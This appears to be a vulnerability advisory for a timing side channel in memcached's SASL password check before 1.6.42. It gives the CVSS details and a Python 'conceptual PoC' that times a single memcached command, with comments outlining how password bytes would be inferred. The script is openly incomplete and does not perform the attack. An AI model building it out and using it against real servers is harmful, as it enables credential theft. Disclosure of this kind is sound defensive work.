In memcached before 1.6.42, password data for SASL password database authentication has a timing side channel because memcmp is used by sasl_server_userdb_checkpass.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
memcached < 1.6.42
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import time
def test_timing_attack(target_ip, target_port=11211):
"""
Conceptual PoC for Timing Side Channel attack on memcached SASL.
This script measures the response time for authentication attempts.
Note: This is a simplified demonstration for analysis purposes.
"""
try:
# Establish connection to memcached server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target_ip, target_port))
# SASL Authentication Mechanism List
# sock.sendall(b"stats\r\n") # Simple check if alive
# In a real attack, the attacker would send crafted SASL packets
# with guessed password prefixes and measure the time difference.
payload = b"""set test_key 0 0 4
done
"""
start_time = time.perf_counter()
sock.sendall(payload)
response = sock.recv(1024)
end_time = time.perf_counter()
elapsed_ms = (end_time - start_time) * 1000
print(f"Response Time: {elapsed_ms:.4f} ms")
print(f"Response: {response.decode()}")
sock.close()
# Analysis logic would compare elapsed_ms across multiple attempts
# to infer correct password bytes based on statistical significance.
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
# Replace with actual target IP
# test_timing_attack("127.0.0.1")
pass